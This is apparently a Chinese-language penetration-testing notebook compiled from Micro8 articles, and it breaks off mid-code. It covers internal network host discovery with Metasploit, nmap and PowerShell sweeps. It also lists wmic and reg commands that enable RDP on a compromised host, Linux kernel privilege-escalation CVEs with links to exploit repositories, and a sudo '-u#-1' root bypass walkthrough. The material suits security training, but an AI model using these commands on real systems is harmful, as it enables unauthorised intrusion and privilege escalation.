auxiliary/scanner/dns/dns_amp
auxiliary/scanner/mysql/mysql_version
(3)主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:
auxiliary/scanner/netbios/nbname
auxiliary/scanner/http/title
auxiliary/scanner/db2/db2_version
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/tcp
(4)主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:
auxiliary/scanner/portscan/syn
auxiliary/scanner/portscan/ftpbounce
auxiliary/scanner/portscan/xmas
auxiliary/scanner/rdp/rdp_scanner
auxiliary/scanner/smtp/smtp_version
(5)主要介绍scanner下的三个模块,以及db_nmap辅助发现内网存活主机,分别为:
auxiliary/scanner/pop3/pop3_version
auxiliary/scanner/postgres/postgres_version
auxiliary/scanner/ftp/anonymous
db_nmap
(6)主要介绍post下的六个模块,辅助发现内网存活主机,分别为:
windows/gather/arp_scanner
windows/gather/enum_ad_computers
windows/gather/enum_computers
windows/gather/enum_domain
windows/gather/enum_domains
windows/gather/enum_ad_user_comments
在实战过程中,许多特殊环境下scanner,db_nmap不能快速符合实战渗透诉求,尤其在域中的主机存活发现,而post下的模块,弥补了该诉求,以便快速了解域中存活主机
25、基于windows/gather/arp_scanner发现内网存活主机
meterpreter > run windows/gather/arp_scanner RHOSTS=192.168.1.110‐120 THREADS=20
[*] Running module against VM_2003X86
[*] ARP Scanning 192.168.1.110‐120
[+] IP: 192.168.1.115 MAC 00:0c:29:af:ce:cc (VMware, Inc.)
[+] IP: 192.168.1.119 MAC 00:0c:29:85:d6:7d (VMware, Inc.)
26、基于windows/gather/enum_ad_computers发现域中存活主机
meterpreter > run windows/gather/enum_ad_computers
27、基于windows/gather/enum_computers发现域中存活主机
meterpreter > run windows/gather/enum_computers
[*] Running module against VM_2003X86
[‐] This host is not part of a domain.
28、基于windows/gather/enum_domain发现域中存活主机
meterpreter > run windows/gather/enum_domain
29、基于windows/gather/enum_domains 发现域中存活主机
meterpreter > run windows/gather/enum_domains
[*] Enumerating DCs for WORKGROUP
[‐] No Domain Controllers found...
30、基于windows/gather/enum_ad_user_comments发现域中存活主机
meterpreter > run windows/gather/enum_ad_user_comments
linux/gather/enum_network
linux/busybox/enum_hosts
windows/gather/enum_ad_users
windows/gather/enum_domain_tokens
windows/gather/enum_snmp
至此,MSF发现内网存活主机主要模块介绍与使用完毕…
感谢Micro8大佬!!!
参考文章:
https://micro8.gitbook.io/micro8/contents-1/21-30/28-ji-yu-msf-fa-xian-nei-wang-cun-huo-zhu-ji-di-liu-ji
连载1
System.Data.SqlClient 命名空间是用于 SQL Server 的 .NET 数据提供程序。在net framework2.0中新增加SqlDataSourceEnumerator 类。提供了一种枚举本地网络内的所有可用 SQL Server 实例机制。微软官方是这样解释的:
SQL Server 2000 和 SQL Server 2005 进行应用程序可以确定在当前网络中的 SQL Server实例存在。SqlDataSourceEnumerator类公开给应用程序开发人员,提供此信息DataTable包含所有可用的服务器的信息。返回此表列出了与列表匹配提供当用户尝试创建新的连接的服务器实例以及Connection Properties对话框中,展开下拉列表,其中包含所有可用的服务器
PowerShell -Command
"[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()"
此种方法,在实战中,不留文件痕迹。并且信息准确,发现主机也可。可应对目前主流安全防御产品!!
参考文章:
https://micro8.gitbook.io/micro8/contents-1/41-50/50-ji-yu-sqldatasourceenumerator-fa-xian-nei-wang-cun-huo-zhu-ji
感谢大佬!!Micro8
ICMP简介:
它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
nmap扫描:
root@John:~# nmap ‐sP ‐PI 192.168.1.0/24 ‐T4
root@John:~# nmap ‐sn ‐PE ‐T4 192.168.1.0/24
for /L %P in (1,1,254) DO @ping ‐w 1 ‐n 1 192.168.1.%P | findstr "TTL ="
powershell.exe ‐exec bypass ‐Command "Import‐Module ./Invoke‐TSPingSweep.ps1
; Invoke‐TSPingSweep ‐StartAddress 192.168.1.1 ‐EndAddress 192.168.1.254 ‐Resolv
eHost ‐ScanPort ‐Port 445,135"
D:\>tcping.exe ‐n 1 192.168.1.0 80
参考文章:
https://micro8.gitbook.io/micro8/contents-1/21-30/21-ji-yu-icmp-fa-xian-nei-wang-cun-huo-zhu-ji
UDP简介:
UDP(User Datagram Protocol)是一种无连接的协议,在第四层-传输层,处于IP协议的上一层。UDP有不提供数据包分组、组装和不能对数据包进行排序的缺点,也就是说,当报文发送之后,是无法得知其是否安全完整到达的。
UDP显著特性:
1)UDP 缺乏可靠性。UDP 本身不提供确认,超时重传等机制。UDP 数据报可能在网络中被复制,被重新排序,也不保证每个数据报只到达一次。
2)UDP 数据报是有长度的。每个 UDP 数据报都有长度,如果一个数据报正确地到达目的地,那么该数据报的长度将随数据一起传递给接收方。而 TCP 是一个字节流协议,没有任何(协议上的)记录边界。
3)UDP 是无连接的。UDP 客户和服务器之前不必存在长期的关系。大多数的UDP实现中都选择忽略源站抑制差错,在网络拥塞时,目的端无法接收到大量的UDP数据报
4)UDP 支持多播和广播。
1、nmap扫描
root@John:~# nmap -sU -T5 -sV --max-retries 1 192.168.1.100 -p 500
msf > use auxiliary/scanner/discovery/udp_probe
msf > use auxiliary/scanner/discovery/udp_sweep
linux下使用推荐
root@John:~# unicornscan -mU 192.168.1.100
https://www.mcafee.com/ca/downloads/free-tools/scanline.aspx
蓝奏地址:
https://www.lanzous.com/i32zncf
https://pentest-tools.com/network-vulnerability-scanning/udp-port-scanner-online-nmap
–By Micropoor
参考文章:
https://micro8.gitbook.io/micro8/contents-1/11-20/12-ji-yu-udp-fa-xian-nei-wang-cun-huo-zhu-ji
ARP简介:
ARP,通过解析网路层地址来找寻数据链路层地址的一个在网络协议包中极其重要的网络传输协议。根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址
1、nmap扫描
root@John:~# nmap -sn -PR 192.168.1.1/24
msf > use auxiliary/scanner/discovery/arp_sweep
msf auxiliary(arp_sweep) > show options
Module options (auxiliary/scanner/discovery/arp_sweep):
Name Current Setting Required Description
---- --------------- -------- -----------
INTERFACE no The name of the interface
RHOSTS yes The target address range or CIDR identifier
SHOST no Source IP Address
SMAC no Source MAC Address
THREADS 1 yes The number of concurrent threads
TIMEOUT 5 yes The number of seconds to wait for new data
msf auxiliary(arp_sweep) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(arp_sweep) > set THREADS 10
root@John:~# netdiscover -r 192.168.1.0/24 -i wlan0
4、arp-scan(linux)
(推荐)速度与快捷 项目地址:
https://linux.die.net/man/1/arp-scan
arp-scan没有内置kali,需要下载安装
5、Powershell
c:\tmp>powershell.exe -exec bypass -Command "Import-Module .\arpscan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24"
https://sourceforge.net/projects/arpscannet/files/arpscannet/arpscannet 0.4/
(推荐)速度与快捷
arp-scan.exe -t 192.168.1.1/24
项目地址:
https://github.com/QbsuranAlang/arp-scan-windows-/tree/master/arp-scan (非官方)
arp-ping.exe 192.168.1.100
如cain的arp发现,一些开源py,pl脚本等,不一一介绍。
参考文章:
https://micro8.gitbook.io/micro8/contents-1/11-20/13-ji-yu-arp-fa-xian-nei-wang-cun-huo-zhu-ji#5-powershell
SNMP简介:
SNMP是一种简单网络管理协议,它属于TCP/IP五层协议中的应用层协议,用于网络管理的协议。SNMP主要用于网络设备的管理。SNMP协议主要由两大部分构成:SNMP管理站和SNMP代理。SNMP管理站是一个中心节点,负责收集维护各个SNMP元素的信息,并对这些信息进行处理,最后反馈给网络管理员;而SNMP代理是运行在各个被管理的网络节点之上,负责统计该节点的各项信息,并且负责与SNMP管理站交互,接收并执行管理站的命令,上传各种本地的网络信息。
nmap扫描:
root@John:~# nmap -sU --script snmp-brute 192.168.1.0/24 -T4
msf > use auxiliary/scanner/snmp/snmp_enum
https://www.mcafee.com/us/downloads/free-tools/snscan.aspx
依然是一块macafee出品的攻击
项目地址:
https://www.adremsoft.com/demo/
内网安全审计工具,包含了DNS审计,ping扫描,端口,网络服务等
snmp for pl扫描:
项目地址:
https://github.com/dheiland-r7/snmp
其他扫描:
snmpbulkwalk:
snmp-check:
snmptest:
附录:
use auxiliary/scanner/snmp/aix_version use auxiliary/scanner/snmp/snmp_enum
use auxiliary/scanner/snmp/arris_dg950
use auxiliary/scanner/snmp/snmp_enum_hp_laserjet
use auxiliary/scanner/snmp/brocade_enumhash use auxiliary/scanner/snmp/snmp_enumshares
use auxiliary/scanner/snmp/cambium_snmp_loot use auxiliary/scanner/snmp/snmp_enumusers
use auxiliary/scanner/snmp/cisco_config_tftp use auxiliary/scanner/snmp/snmp_login
use auxiliary/scanner/snmp/cisco_upload_file use auxiliary/scanner/snmp/snmp_set
use auxiliary/scanner/snmp/netopia_enum
use auxiliary/scanner/snmp/ubee_ddw3611
use auxiliary/scanner/snmp/sbg6580_enum
use auxiliary/scanner/snmp/xerox_workcentre_enumusers
其他内网安全审计工具(snmp):
项目地址:https://www.solarwinds.com/topics/snmp-scanner
项目地址:https://www.netscantools.com/nstpro_snmp.html
snmp for pl :
root@John:~/Desktop/snmp# wget http://www.cpan.org/modules/by-module/NetAddr/NetAddr-IP-4.078.tar.gz
root@John:~/Desktop/snmp# tar xvzf ./NetAddr-IP-4.078.tar.gz
root@John:~/Desktop/snmp# cd NetAddr-IP-4.078/
root@John:~/Desktop/snmp/NetAddr-IP-4.078# ls
About-NetAddr-IP.txt Artistic Changes
Copying docs IP.pm Lite Makefile.PL
MANIFEST MANIFEST.SKIP META.yml t TODO
root@John:~/Desktop/snmp/NetAddr-IP-4.078# perl Makefile.PL
root@John:~/Desktop/snmp/NetAddr-IP-4.078# make
root@John:~/Desktop/snmp/NetAddr-IP-4.078# make install
https://micro8.gitbook.io/micro8/contents-1/11-20/20-ji-yu-snmp-fa-xian-nei-wang-cun-huo-zhu-ji
netbios简介:
IBM公司开发,主要用于数十台计算机的小型局域网。该协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的同一的命令集,作用是为了给局域网提供网络以及其他特殊功能。
系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名-——特指基于NETBIOS协议获得计算机名称——解析为相应IP地址,实现信息通讯,所以在局域网内部使用NetBIOS协议可以方便地实现消息通信及资源的共享
nmap扫描:
root@John:~# nmap -sU --script nbstat.nse -p137 192.168.1.0/24 -T4
msf扫描:
msf > use auxiliary/scanner/netbios/nbname
nbtscan扫描:
项目地址:
http://www.unixwiz.net/tools/nbtscan.html
Windows:
D:\>nbtscan-1.0.35.exe -m 192.168.1.0/24
D:\>nbtstat -n (推荐)
root@John:~/Desktop/nbtscan# tar -zxvf ./nbtscan-source-1.0.35.tgz(1.5.1版本在附录)
root@John:~/Desktop/nbtscan# make
root@John:~/Desktop/nbtscan# nbtscan -r 192.168.1.0/24
root@John:~/Desktop/nbtscan# nbtscan -v -s: 192.168.1.0/24
NetBScanner:
项目地址:
https://www.nirsoft.net/utils/netbios_scanner.html
附录:
nbtscan:
NBTscan version 1.5.1. Copyright (C) 1999-2003 Alla Bezroutchko. This is a free software and it comes with absolutely no warranty. You can use,distribute and modify it under terms of GNU GPL.
Usage:
nbtscan [-v] [-d] [-e] [-l] [-t timeout] [-b bandwidth] [-r] [-q] [-s separator] [-m retransmits] (-f filename)|(<scan_range>)
-v verbose output. Print all names receivedfrom each host
-d dump packets. Print whole packet contents.
-e Format output in /etc/hosts format.
-l Format output in lmhosts format.Cannot be used with -v, -s or -h options.
-t timeout wait timeout milliseconds for response.Default 1000.
-b bandwidth Output throttling. Slow down output so that it uses no more that bandwidth bps. Useful on slow links, so that ougoing queries don't get dropped.
-r use local port 137 for scans. Win95 boxes respond to this only.You need to be root to use this option on Unix.
-q Suppress banners and error messages,
-s separator Script-friendly output. Don't print column and record headers, separate fields with separator.
-h Print human-readable names for services. Can only be used with -v option.
-m retransmits Number of retransmits. Default 0.
-f filename Take IP addresses to scan from file filename.
-f - makes nbtscan take IP addresses from stdin.
<scan_range> what to scan. Can either be single IP
like 192.168.1.1 or
range of addresses in one of two forms:
xxx.xxx.xxx.xxx/xx or xxx.xxx.xxx.xxx-xxx.
Examples:
nbtscan -r 192.168.1.0/24
Scans the whole C-class network.
nbtscan 192.168.1.25-137
Scans a range from 192.168.1.25 to 192.168.1.137
nbtscan -v -s : 192.168.1.0/24
Scans C-class network. Prints results in script-friendly
format using colon as field separator.
Produces output like that:
192.168.0.1:NT_SERVER:00U
192.168.0.1:MY_DOMAIN:00G
192.168.0.1:ADMINISTRATOR:03U
192.168.0.2:OTHER_BOX:00U
...
nbtscan -f iplist
Scans IP addresses specified in file iplist.
NBTscan version 1.5.1:
项目地址:
https://github.com/scallywag/nbtscan
检测系统类型
44 | % {
$a = $_; 128..140 | % {
$b = $_; ping -n 1 -w 10 "192.168.$a.$b" | select-string TTL | % {
if ($_ -match "ms"){
$ttl = $_.line.split('=')[2] -as [int]; if ($ttl -lt 65) {
$os = "Linux" } ElseIf ($ttl -gt 64 -And $ttl -lt 129){
$os = "Windows" } else {
$os = "Cisco"}; write-host "192.168.$a.$b Os: $os"}}} }
ping扫描
1、单线程扫描
1..255 | % {
echo "192.168.44.$_"; ping -n 1 -w 100 192.168.44.$_} | Select-String ttl
2、并行扫描
workflow ParallelSweep {
foreach -parallel -throttlelimit 4 ($i in 1..255 ) {
ping -n 1 -w 100 192.168.1.$i}}; ParallelSweep | Select-String ttl
-throttlelimit 4-4 并行线程数目
端口扫描
1、单线程扫描 192.168.44.133 的1-1024端口
1..1024 | % {
echo ((new-object Net.Sockets.TcpClient).Connect("192.168.44.133",$_)) "Port $_ is open!"} 2>$null
2、扫描指定端口的所有|P
foreach ($ip in 132..254) {
Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.44.$ip}
3、自定义P范围和端口范围
1..20 | % {
$a = $_; 1..1024 | % {
echo ((new-object Net.Sockets. TcpClient).Connect("192.168.1.$a",$_)) "Port $_ is open!"} 2>$null}
查询代理配置情况
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
查询并开启远程连接服务
查看远程连接端口
Reg query "hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\RDP-Tcp" /v portnumber
在Windows Server 2003中开启3389端口
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
在Windows Server 2008和Windows Server 2012中开启3389端口
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
书上介绍了IE代理,和PAC代理查询方法!!!
exp注:
CVE-2017-1000367 [Sudo] (Sudo 1.8.6p7 - 1.8.20)
CVE-2017-1000112 [a memory corruption due to UFO to non-UFO path switch]
CVE-2017-7494 [Samba Remote execution] (Samba 3.5.0-4.6.4/4.5.10/4.4.14)
CVE-2017-7308 [a signedness issue in AF_PACKET sockets] (Linux kernel through 4.10.6)
CVE-2017-6074 [a double-free in DCCP protocol] (Linux kernel through 4.9.11)
CVE-2017-5123 ['waitid()'] (Kernel 4.14.0-rc4+)
CVE-2016-9793 [a signedness issue with SO_SNDBUFFORCE and SO_RCVBUFFORCE socket options] (Linux kernel before 4.8.14)
CVE-2016-5195 [Dirty cow] (Linux kernel>2.6.22 (released in 2007))
CVE-2016-2384 [a double-free in USB MIDI driver] (Linux kernel before 4.5)
CVE-2016-0728 [pp_key] (3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13,3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6,3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1)
CVE-2015-7547 [glibc getaddrinfo] (before Glibc 2.9)
CVE-2015-1328 [overlayfs] (3.13, 3.16.0, 3.19.0)
CVE-2014-5284 [OSSEC] (2.8)
CVE-2014-4699 [ptrace] (before 3.15.4)
CVE-2014-4014 [Local Privilege Escalation] (before 3.14.8)
CVE-2014-3153 [futex] (3.3.5 ,3.3.4 ,3.3.2 ,3.2.13 ,3.2.9 ,3.2.1 ,3.1.8 ,3.0.5 ,3.0.4 ,3.0.2 ,3.0.1 ,2.6.39 ,2.6.38 ,2.6.37 ,2.6.35 ,2.6.34 ,2.6.33 ,2.6.32 ,2.6.9 ,2.6.8,2.6.7 ,2.6.6 ,2.6.5 ,2.6.4 ,3.2.2 ,3.0.18 ,3.0 ,2.6.8.1)
CVE-2014-0196 [rawmodePTY] (2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37, 2.6.38, 2.6.39, 3.14, 3.15)
CVE-2014-0038 [timeoutpwn] (3.4, 3.5, 3.6, 3.7, 3.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1)
CVE-2013-2094 [perf_swevent] (3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4.0, 3.4.1, 3.4.2, 3.4.3, 3.4.4,3.4.5, 3.4.6, 3.4.8, 3.4.9, 3.5, 3.6, 3.7, 3.8.0, 3.8.1, 3.8.2, 3.8.3,3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9)
CVE-2013-1858 [clown-newuser] (3.3-3.8)
CVE-2013-1763 [__sock_diag_rcv_msg] (before 3.8.3)
CVE-2013-0268 [msr] (2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26,2.6.27, 2.6.27, 2.6.28,2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37,2.6.38, 2.6.39, 3.0.0,3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4, 3.5, 3.6, 3.7.0, 3.7.6)
CVE-2012-3524 [libdbus] (libdbus 1.5.x and earlier)
CVE-2012-0056 [memodipper] (2.6.39, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0)
CVE-2010-4347 [american-sign-language] ( 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9,2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21,2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)
CVE-2010-4258 [full-nelson] (2.6.31, 2.6.32, 2.6.35, 2.6.37)
CVE-2010-4073 [half_nelson] (2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9,2.6.10, 2.6.11, 2.6.12,2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21,2.6.22, 2.6.23, 2.6.24,2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33,2.6.34, 2.6.35, 2.6.36)
CVE-2010-3904 [rds] (2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)
CVE-2010-3437 [pktcdvd] (2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9,2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21,2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)
CVE-2010-3301 [ptrace_kmod2] (2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34)
CVE-2010-3081 [video4linux] (2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12,2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33)
CVE-2010-2959 [can_bcm] (2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)
CVE-2010-1146 [reiserfs] (2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34)
CVE-2010-0415 [do_pages_move] (2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31)
CVE-2009-3547 [pipe.c_32bit] (2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13,2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25,2.4.26, 2.4.27, 2.4.28,2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37,2.6.15, 2.6.16, 2.6.17,2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26,2.6.27, 2.6.28, 2.6.29,2.6.30, 2.6.31)
CVE-2009-2698 [udp_sendmsg_32bit] (2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19)
CVE-2009-2692 [sock_sendpage] (2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13,2.4.14, 2.4.15, 2.4.16,2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28,2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37,2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12,2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30)
CVE-2009-2692 [sock_sendpage2] (2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25,2.4.26, 2.4.27, 2.4.28,2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.0, 2.6.1, 2.6.2,2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15,2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24,2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30)
CVE-2009-1337 [exit_notify] (2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29)
CVE-2009-1185 [udev] (2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29)
CVE-2008-4210 [ftrex] (2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19,2.6.20, 2.6.21, 2.6.22)
CVE-2008-0600 [vmsplice2] (2.6.23, 2.6.24)
CVE-2008-0600 [vmsplice1] (2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.24.1)
CVE-2006-3626 [h00lyshit] (2.6.8, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16)
CVE-2006-2451 [raptor_prctl] (2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17)
CVE-2005-0736 [krad3] (2.6.5, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11)
CVE-2005-1263 [binfmt_elf.c] (Linux kernel 2.x.x to 2.2.27-rc2, 2.4.x to 2.4.31-pre1, and 2.6.x to 2.6.12-rc4)
CVE-2004-1235 [elflbl] (2.4.29)
CVE-N/A [caps_to_root] (2.6.34, 2.6.35, 2.6.36)
CVE-2004-0077 [mremap_pte] (2.4.20, 2.2.24, 2.4.25, 2.4.26, 2.4.27)
已对外公开 exp 注:
https://github.com/SecWiki/linux-kernel-exploits
https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/
https://github.com/xairy/kernel-exploits
1、漏洞介绍
最近的国外的团队跟踪并披露了该漏洞,报告中发现,在所有sudo版本低于1.8.29 的Linux机器,均受到该漏洞的影响。
此漏洞可以使用户拥有权限运行其他用户命令。
2、漏洞细节
sudo允许非特权用户以root用户身份执行命令,问题在于在sudo id 在1.8.28之前的版本中以任意用户实现了运行命令的方式,虽然攻击的利用方式,需要对本地配置进行修改,利用此漏洞需要恶意用户具有以任何用户(root用户除外)身份运行命令的特权,如果sudoers文件ALL中Runas参数带有特殊值,则可以利用成功。
在你的Linux机器上运行一下命令。
sudo -V | grep 'Sudo version'
即可查看是否受到该版本(低于1.8.29)的影响
3、漏洞分析
sudo程序本身是一个设置的SUID位的二进制文件。我们可以检查一下他的权限:
ls -l /usr/bin/sudo
它的所有者是root,所以每个用户都已像root那样执行该程序。设置了SUID的程序在运行时可以给使用者以所有者的EUID
sudo的配置都记录在/etc/sudoers文件中,配置文件知名哪些用户可以执行哪些命令。要使用sudo,用户只须提供sudo用户的密码。
那么本次漏洞的命令就是
sudo -uusername#uidUSer
因为需要用户执行此命令,那么需要用户的sudoers中的runas说明具有特殊值ALL
%开头,代表”将要授权组“,例如其中的%admin、%sudo。
%不开头的,代表”将要授权的用户“,例如其中的root。
root ALL=(ALL:ALL) ALL
第一个ALL的意思是root用户在那些服务器上登录本服务器来执行sudo命令。
第二个和第三个ALL则表示可以切换到任何(用户:组)。
第四个为ALL,则表示可以执行任意命令。
例如图中,已经添加了
testuser ALL=(ALL:ALL) ALL
修改后那么在恶意用户下,则可以运行一下命令将自己升级为root
sudo -u#-1 id -u
或者
sudo -u#4294967295 id -u
在32位或者64位机,C语言中整数存储占用4个字节,一个字节8位,共计32位
整数在计算机中以补码形式存储,-1的补码为32个1组成的二进制数,按无符号数输出这个二进制数
就是2^32-1=4294967295
由于采用补码表示整数,计算机本身不关心整数是正数还是负数,统一按无符号数对待。具体输出时,显示为什么数,计算机按编程者的格式要求进行处理输出。如32个1组成的二进制数,按%d输出就是-1,按无符号输出就是 4294967295。
这也就是在-1和4294967295的时候 sudo 对其ID值无效,实际上他们返回的值为0
通过分析sudo的源码分析
void
exec_cmnd(struct command_details *details, struct command_status *cstat,
int errfd)
{
debug_decl(exec_cmnd, SUDO_DEBUG_EXEC)
restore_signals();
if (exec_setup(details, NULL, -1) == true) {
/* headed for execve() */
sudo_debug_execve(SUDO_DEBUG_INFO, details->command,
details->argv, details->envp);
sudo_execve(details->command, details->argv, details->envp,
ISSET(details->flags, CD_NOEXEC));
cstat->type = CMD_ERRNO;
cstat->val = errno;
sudo_debug_printf(SUDO_DEBUG_ERROR, "unable to exec %s: %s",
details->command, strerror(errno));
}
debug_return;
}
其中exec_setup,SUD0_DEBUG_EXEC,可以执行组ID,及创建掩码
bool
exec_setup(struct command_details *details, const char *ptyname, int ptyfd)
{
bool rval = false;
debug_decl(exec_setup, SUDO_DEBUG_EXEC);
unlimit_nproc();
#ifdef HAVE_SETRESUID
